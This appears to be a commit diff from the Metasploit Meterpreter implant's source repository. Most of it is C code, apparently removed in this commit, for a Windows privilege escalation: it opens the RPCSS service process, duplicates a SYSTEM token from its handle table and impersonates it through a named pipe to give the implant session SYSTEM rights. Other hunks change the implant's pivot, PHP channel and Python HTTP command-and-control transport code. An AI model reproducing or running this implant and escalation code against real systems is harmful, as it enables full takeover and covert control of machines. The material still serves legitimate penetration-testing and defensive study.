DWORD get_system_token(HANDLE hProc, PHANDLE phToken)
|
|
||||||
{
|
|
||||||
NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;;
|
|
||||||
PPROCESS_HANDLE_SNAPSHOT_INFORMATION pHandleInfo = NULL;
|
|
||||||
ULONG ulLength = sizeof(PROCESS_HANDLE_SNAPSHOT_INFORMATION);
|
|
||||||
ULONG tokenIndex;
|
|
||||||
ULONG i;
|
|
||||||
ULONG ulMaxPrivCount = 0;
|
|
||||||
HANDLE hToken = NULL;
|
|
||||||
HANDLE hBestToken = NULL;
|
|
||||||
HANDLE hThread = GetCurrentThread();
|
|
||||||
DWORD dwResult = ERROR_UNIDENTIFIED_ERROR;
|
|
||||||
TOKEN_STATISTICS tokenStats;
|
|
||||||
LUID systemLuid = SYSTEM_LUID;
|
|
||||||
HMODULE hNtdll = NULL;
|
|
||||||
NTQUERYINFORMATIONPROCESS pNtQueryInformationProcess = NULL;
|
|
||||||
|
|
||||||
do {
|
|
||||||
if (get_token_object_index(&tokenIndex) != ERROR_SUCCESS) {
|
|
||||||
BREAK_WITH_ERROR("[ELEVATE] get_system_token. get_token_object_index failed", ERROR_UNIDENTIFIED_ERROR);
|
|
||||||
}
|
|
||||||
|
|
||||||
hNtdll = GetModuleHandle("ntdll");
|
|
||||||
if (hNtdll == NULL) {
|
|
||||||
BREAK_ON_ERROR("[ELEVATE] get_system_token. GetModuleHandle(\"ntdll\") failed");
|
|
||||||
}
|
|
||||||
|
|
||||||
pNtQueryInformationProcess = (NTQUERYINFORMATIONPROCESS)(GetProcAddress(hNtdll, "NtQueryInformationProcess"));
|
|
||||||
if (pNtQueryInformationProcess == NULL) {
|
|
||||||
BREAK_ON_ERROR("[ELEVATE] get_system_token. GetProcAddress(hNtdll, \"NtQueryInformationProcess\") failed");
|
|
||||||
}
|
|
||||||
|
|
||||||
do {
|
|
||||||
ulLength += (sizeof(PROCESS_HANDLE_TABLE_ENTRY_INFO) * 16);
|
|
||||||
if (pHandleInfo) {
|
|
||||||
HeapFree(GetProcessHeap(), 0, pHandleInfo);
|
|
||||||
pHandleInfo = NULL;
|
|
||||||
}
|
|
||||||
pHandleInfo = (PPROCESS_HANDLE_SNAPSHOT_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulLength);
|
|
||||||
if (pHandleInfo == NULL) {
|
|
||||||
BREAK_WITH_ERROR("[ELEVATE] get_system_token. HeapAlloc failed", ERROR_NOT_ENOUGH_MEMORY);
|
|
||||||
}
|
|
||||||
|
|
||||||
status = pNtQueryInformationProcess(hProc, ProcessHandleInformation, pHandleInfo, ulLength, &ulLength);
|
|
||||||
if (NT_SUCCESS(status)) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
if (status == STATUS_INFO_LENGTH_MISMATCH) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
dprintf("NtQueryInformationProcess returned NT_STATUS: %ul", status);
|
|
||||||
BREAK_WITH_ERROR("[ELEVATE] get_system_token. NtQueryInformationProcess failed", status);
|
|
||||||
} while (status == STATUS_INFO_LENGTH_MISMATCH);
|
|
||||||
|
|
||||||
if (!NT_SUCCESS(status)) {
|
|
||||||
BREAK_WITH_ERROR("[ELEVATE] get_system_token. failed to retrieve process handle information", ERROR_UNIDENTIFIED_ERROR);
|
|
||||||
}
|
|
||||||
|
|
||||||
for (i = 0; i < pHandleInfo->NumberOfHandles; i++) {
|
|
||||||
if (pHandleInfo->Handles[i].ObjectTypeIndex != tokenIndex) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
if ((pHandleInfo->Handles[i].GrantedAccess & TOKEN_ALL_ACCESS) != TOKEN_ALL_ACCESS) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!DuplicateHandle(hProc, pHandleInfo->Handles[i].HandleValue, GetCurrentProcess(), &hToken, 0, FALSE, DUPLICATE_SAME_ACCESS)) {
|
|
||||||
CONTINUE_ON_ERROR("[ELEVATE] get_system_token. DuplicateHandle failed");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &ulLength)) {
|
|
||||||
CloseHandle(hToken);
|
|
||||||
CONTINUE_ON_ERROR("[ELEVATE] get_system_token. GetTokenInformation failed");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!is_equal_luid(&tokenStats.AuthenticationId, &systemLuid)) {
|
|
||||||
CloseHandle(hToken);
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (tokenStats.PrivilegeCount <= ulMaxPrivCount) {
|
|
||||||
CloseHandle(hToken);
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
// newer versions of windows have more defined privileges so update the best token to the one with the most
|
|
||||||
ulMaxPrivCount = tokenStats.PrivilegeCount;
|
|
||||||
if (hBestToken) {
|
|
||||||
CloseHandle(hBestToken);
|
|
||||||
}
|
|
||||||
hBestToken = hToken;
|
|
||||||
}
|
|
||||||
} while (0);
|
|
||||||
|
|
||||||
if (hBestToken) {
|
|
||||||
*phToken = hBestToken;
|
|
||||||
dwResult = ERROR_SUCCESS;
|
|
||||||
}
|
|
||||||
if (pHandleInfo) {
|
|
||||||
HeapFree(GetProcessHeap(), 0, pHandleInfo);
|
|
||||||
}
|
|
||||||
return dwResult;
|
|
||||||
}
|
|
||||||
|
|
||||||
DWORD post_callback_use_rpcss(Remote* remote)
|
|
||||||
{
|
|
||||||
SC_HANDLE hScm = NULL;
|
|
||||||
SC_HANDLE hSvc = NULL;
|
|
||||||
HANDLE hProc = NULL;
|
|
||||||
HANDLE hThread = GetCurrentThread();
|
|
||||||
SERVICE_STATUS_PROCESS procInfo;
|
|
||||||
DWORD dwBytes;
|
|
||||||
DWORD dwResult = ERROR_ACCESS_DENIED;
|
|
||||||
HANDLE hToken = NULL;
|
|
||||||
|
|
||||||
do {
|
|
||||||
hScm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
|
|
||||||
if (hScm == NULL) {
|
|
||||||
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenSCManager failed");
|
|
||||||
}
|
|
||||||
|
|
||||||
hSvc = OpenService(hScm, "rpcss", SERVICE_QUERY_STATUS);
|
|
||||||
if (hSvc == NULL) {
|
|
||||||
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenService failed");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!QueryServiceStatusEx(hSvc, SC_STATUS_PROCESS_INFO, (LPBYTE)&procInfo, sizeof(procInfo), &dwBytes)) {
|
|
||||||
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. QueryServiceStatusEx failed");
|
|
||||||
}
|
|
||||||
|
|
||||||
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procInfo.dwProcessId);
|
|
||||||
if (hProc == NULL) {
|
|
||||||
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenProcess failed");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (get_system_token(hProc, &hToken) != ERROR_SUCCESS) {
|
|
||||||
BREAK_WITH_ERROR("[ELEVATE] post_callback_use_rpcss. get_system_token failed", ERROR_UNIDENTIFIED_ERROR);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!SetThreadToken(&hThread, hToken)) {
|
|
||||||
CloseHandle(hToken);
|
|
||||||
BREAK_WITH_ERROR("[ELEVATE] post_callback_use_rpcss. SetThreadToken failed", ERROR_ACCESS_DENIED);
|
|
||||||
}
|
|
||||||
|
|
||||||
dwResult = ERROR_SUCCESS;
|
|
||||||
dprintf("[ELEVATE] post_callback_use_rpcss. dispatching to use_self");
|
|
||||||
met_api->thread.update_token(remote, hToken);
|
|
||||||
return ERROR_SUCCESS;
|
|
||||||
} while (0);
|
|
||||||
|
|
||||||
if (hProc) {
|
|
||||||
CloseHandle(hProc);
|
|
||||||
hProc = NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (hSvc) {
|
|
||||||
CloseServiceHandle(hSvc);
|
|
||||||
hSvc = NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (hScm) {
|
|
||||||
CloseServiceHandle(hScm);
|
|
||||||
hScm = NULL;
|
|
||||||
}
|
|
||||||
return dwResult;
|
|
||||||
}
|
|
||||||
|
|
||||||
DWORD elevate_via_service_namedpipe_rpcss(Remote* remote, Packet* packet)
|
|
||||||
{
|
|
||||||
DWORD dwResult = ERROR_ACCESS_DENIED;
|
|
||||||
THREAD* pThread = NULL;
|
|
||||||
HANDLE hSem = NULL;
|
|
||||||
char cPipeName1[MAX_PATH] = { 0 };
|
|
||||||
char cPipeName2[MAX_PATH] = { 0 };
|
|
||||||
HMODULE hNtdll = NULL;
|
|
||||||
OSVERSIONINFOEXW os = { 0 };
|
|
||||||
HANDLE hPipe = NULL;
|
|
||||||
DWORD dwPipeUid[2] = { 0, 0 };
|
|
||||||
PRIV_POST_IMPERSONATION PostImpersonation;
|
|
||||||
PRtlGetVersion pRtlGetVersion = NULL;
|
|
||||||
|
|
||||||
do {
|
|
||||||
hNtdll = GetModuleHandleA("ntdll");
|
|
||||||
if (hNtdll == NULL) {
|
|
||||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: Failed to resolve RtlGetVersion");
|
|
||||||
}
|
|
||||||
|
|
||||||
pRtlGetVersion = (PRtlGetVersion)GetProcAddress(hNtdll, "RtlGetVersion");
|
|
||||||
if (pRtlGetVersion == NULL) {
|
|
||||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: Failed to resolve RtlGetVersion");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (pRtlGetVersion(&os)) {
|
|
||||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: RtlGetVersion failed");
|
|
||||||
}
|
|
||||||
|
|
||||||
// filter out systems older than Windows 8.1 / Server 2012 R2 (6.3) for this technique
|
|
||||||
if ((os.dwMajorVersion < 6) || (os.dwMajorVersion == 6 && os.dwMinorVersion < 3)) {
|
|
||||||
SetLastError(ERROR_CALL_NOT_IMPLEMENTED);
|
|
||||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: Windows versions older than 6.3 are unsupported");
|
|
||||||
}
|
|
||||||
|
|
||||||
// generate a pseudo random name for the pipe
|
|
||||||
dwPipeUid[0] = ((rand() << 16) | rand());
|
|
||||||
dwPipeUid[1] = ((rand() << 16) | rand());
|
|
||||||
|
|
||||||
_snprintf_s(cPipeName1, sizeof(cPipeName1), MAX_PATH, "\\\\.\\pipe\\%08x%08x", dwPipeUid[0], dwPipeUid[1]);
|
|
||||||
// this *MUST* use the "\\localhost\pipe" prefix and not the "\\.\pipe" prefix
|
|
||||||
_snprintf_s(cPipeName2, sizeof(cPipeName2), MAX_PATH, "\\\\localhost\\pipe\\%08x%08x", dwPipeUid[0], dwPipeUid[1]);
|
|
||||||
|
|
||||||
dprintf("[ELEVATE] elevate_via_service_namedpipe_rpcss. using pipename: %s", cPipeName1);
|
|
||||||
|
|
||||||
hSem = CreateSemaphore(NULL, 0, 1, NULL);
|
|
||||||
PostImpersonation.pCallback = post_callback_use_rpcss;
|
|
||||||
PostImpersonation.pCallbackParam = remote;
|
|
||||||
pThread = met_api->thread.create(elevate_namedpipe_thread, &cPipeName1, hSem, &PostImpersonation);
|
|
||||||
if (!pThread) {
|
|
||||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. met_api->thread.create failed", ERROR_INVALID_HANDLE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!met_api->thread.run(pThread)) {
|
|
||||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. met_api->thread.run failed", ERROR_ACCESS_DENIED);
|
|
||||||
}
|
|
||||||
|
|
||||||
// wait for the thread to create the pipe, if it times out terminate
|
|
||||||
if (hSem) {
|
|
||||||
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
|
|
||||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. WaitForSingleObject failed", ERROR_ACCESS_DENIED);
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
Sleep(500);
|
|
||||||
}
|
|
||||||
|
|
||||||
hPipe = CreateFile(cPipeName2, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
|
||||||
if (hPipe == INVALID_HANDLE_VALUE) {
|
|
||||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. CreateFile failed");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!WriteFile(hPipe, "\x00", 1, NULL, NULL)) {
|
|
||||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. WriteFile failed");
|
|
||||||
}
|
|
||||||
|
|
||||||
WaitForSingleObject(pThread->handle, 5000);
|
|
||||||
met_api->thread.sigterm(pThread);
|
|
||||||
met_api->thread.join(pThread);
|
|
||||||
|
|
||||||
if (!GetExitCodeThread(pThread->handle, &dwResult)) {
|
|
||||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. GetExitCodeThread failed", ERROR_INVALID_HANDLE);
|
|
||||||
}
|
|
||||||
} while (0);
|
|
||||||
|
|
||||||
if (hPipe) {
|
|
||||||
CloseHandle(hPipe);
|
|
||||||
}
|
|
||||||
if (pThread) {
|
|
||||||
met_api->thread.destroy(pThread);
|
|
||||||
}
|
|
||||||
if (hSem) {
|
|
||||||
CloseHandle(hSem);
|
|
||||||
}
|
|
||||||
return dwResult;
|
|
||||||
}
|
|
@ -1,6 +0,0 @@
|
|||||||
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_RPCSS_H
|
|
||||||
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_RPCSS_H
|
|
||||||
|
|
||||||
DWORD elevate_via_service_namedpipe_rpcss(Remote* remote, Packet* packet);
|
|
||||||
|
|
||||||
#endif
|
|
8
c/meterpreter/source/metsrv/server_pivot_named_pipe.c
Executable file → Normal file
8
c/meterpreter/source/metsrv/server_pivot_named_pipe.c
Executable file → Normal file
@ -163,9 +163,7 @@ static DWORD read_pipe_to_packet(NamedPipeContext* ctx, LPBYTE source, DWORD sou
|
|||||||
dprintf("[PIPE] Request ID found and matches expected value");
|
dprintf("[PIPE] Request ID found and matches expected value");
|
||||||
// we have a response to our session guid request
|
// we have a response to our session guid request
|
||||||
DWORD sessionGuidLen = 0;
|
DWORD sessionGuidLen = 0;
|
||||||
LPBYTE sessionGuid = packet_get_tlv_value_raw(packet, TLV_TYPE_SESSION_GUID, &sessionGuidLen);
|
LPBYTE sessionGuid = packet_get_tlv_value_raw(packet, TLV_TYPE_SESSION_GUID, 0);
|
||||||
if (sessionGuid != NULL && sessionGuidLen == sizeof(ctx->pivot_session_guid) && memcmp(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid)) != 0)
|
|
||||||
{
|
|
||||||
#ifdef DEBUGTRACE
|
#ifdef DEBUGTRACE
|
||||||
PUCHAR h = (PUCHAR)&sessionGuid[0];
|
PUCHAR h = (PUCHAR)&sessionGuid[0];
|
||||||
dprintf("[PIPE] Returned session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
|
dprintf("[PIPE] Returned session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
|
||||||
@ -175,6 +173,8 @@ static DWORD read_pipe_to_packet(NamedPipeContext* ctx, LPBYTE source, DWORD sou
|
|||||||
h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]);
|
h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]);
|
||||||
dprintf("[PIPE] Session pivot session guid size: %u", sizeof(ctx->pivot_session_guid));
|
dprintf("[PIPE] Session pivot session guid size: %u", sizeof(ctx->pivot_session_guid));
|
||||||
#endif
|
#endif
|
||||||
|
if (sessionGuid != NULL && memcmp(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid)) != 0)
|
||||||
|
{
|
||||||
dprintf("[PIPE] Session guid returned, looks like the session is a reconnect");
|
dprintf("[PIPE] Session guid returned, looks like the session is a reconnect");
|
||||||
memcpy(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid));
|
memcpy(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid));
|
||||||
|
|
||||||
@ -212,7 +212,7 @@ static DWORD read_pipe_to_packet(NamedPipeContext* ctx, LPBYTE source, DWORD sou
|
|||||||
|
|
||||||
// with the session now established, we need to inform metasploit of the new connection
|
// with the session now established, we need to inform metasploit of the new connection
|
||||||
dprintf("[PIPE] Informing MSF of the new named pipe pivot");
|
dprintf("[PIPE] Informing MSF of the new named pipe pivot");
|
||||||
Packet* notification = packet_create(PACKET_TLV_TYPE_REQUEST, COMMAND_ID_CORE_PIVOT_SESSION_NEW);
|
Packet* notification = packet_create(PACKET_TLV_TYPE_REQUEST, COMMAND_ID_CORE_PIVOT_SESSION_DIED);
|
||||||
packet_add_tlv_raw(notification, TLV_TYPE_SESSION_GUID, (LPVOID)&ctx->pivot_session_guid, sizeof(ctx->pivot_session_guid));
|
packet_add_tlv_raw(notification, TLV_TYPE_SESSION_GUID, (LPVOID)&ctx->pivot_session_guid, sizeof(ctx->pivot_session_guid));
|
||||||
packet_add_tlv_raw(notification, TLV_TYPE_PIVOT_ID, (LPVOID)&ctx->pivot_id, sizeof(ctx->pivot_id));
|
packet_add_tlv_raw(notification, TLV_TYPE_PIVOT_ID, (LPVOID)&ctx->pivot_id, sizeof(ctx->pivot_id));
|
||||||
packet_transmit(ctx->remote, notification, NULL);
|
packet_transmit(ctx->remote, notification, NULL);
|
||||||
|
@ -362,7 +362,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
|
|||||||
<ClInclude Include="..\..\source\extensions\priv\elevate.h" />
|
<ClInclude Include="..\..\source\extensions\priv\elevate.h" />
|
||||||
<ClInclude Include="..\..\source\extensions\priv\fs.h" />
|
<ClInclude Include="..\..\source\extensions\priv\fs.h" />
|
||||||
<ClInclude Include="..\..\source\extensions\priv\namedpipe.h" />
|
<ClInclude Include="..\..\source\extensions\priv\namedpipe.h" />
|
||||||
<ClInclude Include="..\..\source\extensions\priv\namedpipe_rpcss.h" />
|
|
||||||
<ClInclude Include="..\..\source\extensions\priv\passwd.h" />
|
<ClInclude Include="..\..\source\extensions\priv\passwd.h" />
|
||||||
<ClInclude Include="..\..\source\extensions\priv\precomp.h" />
|
<ClInclude Include="..\..\source\extensions\priv\precomp.h" />
|
||||||
<ClInclude Include="..\..\source\extensions\priv\priv.h" />
|
<ClInclude Include="..\..\source\extensions\priv\priv.h" />
|
||||||
@ -373,7 +372,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
|
|||||||
<ClCompile Include="..\..\source\extensions\priv\elevate.c" />
|
<ClCompile Include="..\..\source\extensions\priv\elevate.c" />
|
||||||
<ClCompile Include="..\..\source\extensions\priv\fs.c" />
|
<ClCompile Include="..\..\source\extensions\priv\fs.c" />
|
||||||
<ClCompile Include="..\..\source\extensions\priv\namedpipe.c" />
|
<ClCompile Include="..\..\source\extensions\priv\namedpipe.c" />
|
||||||
<ClCompile Include="..\..\source\extensions\priv\namedpipe_rpcss.c" />
|
|
||||||
<ClCompile Include="..\..\source\extensions\priv\passwd.c" />
|
<ClCompile Include="..\..\source\extensions\priv\passwd.c" />
|
||||||
<ClCompile Include="..\..\source\extensions\priv\priv.c" />
|
<ClCompile Include="..\..\source\extensions\priv\priv.c" />
|
||||||
<ClCompile Include="..\..\source\extensions\priv\service.c" />
|
<ClCompile Include="..\..\source\extensions\priv\service.c" />
|
||||||
|
@ -860,7 +860,7 @@ function handle_dead_resource_channel($resource) {
|
|||||||
|
|
||||||
# Notify the client that this channel is dead
|
# Notify the client that this channel is dead
|
||||||
$pkt = pack("N", PACKET_TYPE_REQUEST);
|
$pkt = pack("N", PACKET_TYPE_REQUEST);
|
||||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_CORE_CHANNEL_CLOSE));
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, 'core_channel_close'));
|
||||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
|
||||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
|
||||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID']));
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID']));
|
||||||
@ -878,7 +878,7 @@ function handle_resource_read_channel($resource, $data) {
|
|||||||
|
|
||||||
# Build a new Packet
|
# Build a new Packet
|
||||||
$pkt = pack("N", PACKET_TYPE_REQUEST);
|
$pkt = pack("N", PACKET_TYPE_REQUEST);
|
||||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_CORE_CHANNEL_WRITE));
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, 'core_channel_write'));
|
||||||
if (array_key_exists((int)$resource, $udp_host_map)) {
|
if (array_key_exists((int)$resource, $udp_host_map)) {
|
||||||
list($h,$p) = $udp_host_map[(int)$resource];
|
list($h,$p) = $udp_host_map[(int)$resource];
|
||||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $h));
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $h));
|
||||||
|
@ -22,7 +22,7 @@ else:
|
|||||||
has_windll = hasattr(ctypes, 'windll')
|
has_windll = hasattr(ctypes, 'windll')
|
||||||
|
|
||||||
try:
|
try:
|
||||||
urllib_imports = ['ProxyBasicAuthHandler', 'ProxyHandler', 'HTTPSHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
|
urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
|
||||||
if sys.version_info[0] < 3:
|
if sys.version_info[0] < 3:
|
||||||
urllib = __import__('urllib2', fromlist=urllib_imports)
|
urllib = __import__('urllib2', fromlist=urllib_imports)
|
||||||
else:
|
else:
|
||||||
@ -969,7 +969,6 @@ class HttpTransport(Transport):
|
|||||||
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
|
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
|
||||||
if proxy:
|
if proxy:
|
||||||
opener_args.append(urllib.ProxyHandler({scheme: proxy}))
|
opener_args.append(urllib.ProxyHandler({scheme: proxy}))
|
||||||
opener_args.append(urllib.ProxyBasicAuthHandler())
|
|
||||||
self.proxy = proxy
|
self.proxy = proxy
|
||||||
opener = urllib.build_opener(*opener_args)
|
opener = urllib.build_opener(*opener_args)
|
||||||
opener.addheaders = []
|
opener.addheaders = []
|
||||||
@ -1005,11 +1004,8 @@ class HttpTransport(Transport):
|
|||||||
packet = None
|
packet = None
|
||||||
xor_key = None
|
xor_key = None
|
||||||
request = urllib.Request(self.url, None, self._http_request_headers)
|
request = urllib.Request(self.url, None, self._http_request_headers)
|
||||||
urlopen_kwargs = {}
|
|
||||||
if sys.version_info > (2, 6):
|
|
||||||
urlopen_kwargs['timeout'] = self.communication_timeout
|
|
||||||
try:
|
try:
|
||||||
url_h = urllib.urlopen(request, **urlopen_kwargs)
|
url_h = urllib.urlopen(request, timeout=self.communication_timeout)
|
||||||
packet = url_h.read()
|
packet = url_h.read()
|
||||||
for _ in range(1):
|
for _ in range(1):
|
||||||
if packet == '':
|
if packet == '':
|
||||||
@ -1038,10 +1034,7 @@ class HttpTransport(Transport):
|
|||||||
|
|
||||||
def _send_packet(self, packet):
|
def _send_packet(self, packet):
|
||||||
request = urllib.Request(self.url, packet, self._http_request_headers)
|
request = urllib.Request(self.url, packet, self._http_request_headers)
|
||||||
urlopen_kwargs = {}
|
url_h = urllib.urlopen(request, timeout=self.communication_timeout)
|
||||||
if sys.version_info > (2, 6):
|
|
||||||
urlopen_kwargs['timeout'] = self.communication_timeout
|
|
||||||
url_h = urllib.urlopen(request, **urlopen_kwargs)
|
|
||||||
response = url_h.read()
|
response = url_h.read()
|
||||||
|
|
||||||
def patch_uri_path(self, new_path):
|
def patch_uri_path(self, new_path):
|
||||||
@ -1430,7 +1423,7 @@ class PythonMeterpreter(object):
|
|||||||
libname = match.group(1)
|
libname = match.group(1)
|
||||||
|
|
||||||
self.last_registered_extension = None
|
self.last_registered_extension = None
|
||||||
symbols_for_extensions = {'meterpreter': self}
|
symbols_for_extensions = {'meterpreter':self}
|
||||||
symbols_for_extensions.update(EXPORTED_SYMBOLS)
|
symbols_for_extensions.update(EXPORTED_SYMBOLS)
|
||||||
i = code.InteractiveInterpreter(symbols_for_extensions)
|
i = code.InteractiveInterpreter(symbols_for_extensions)
|
||||||
i.runcode(compile(data_tlv['value'], 'ext_server_' + libname + '.py', 'exec'))
|
i.runcode(compile(data_tlv['value'], 'ext_server_' + libname + '.py', 'exec'))
|
||||||
|
Loading…
x
Reference in New Issue
Block a user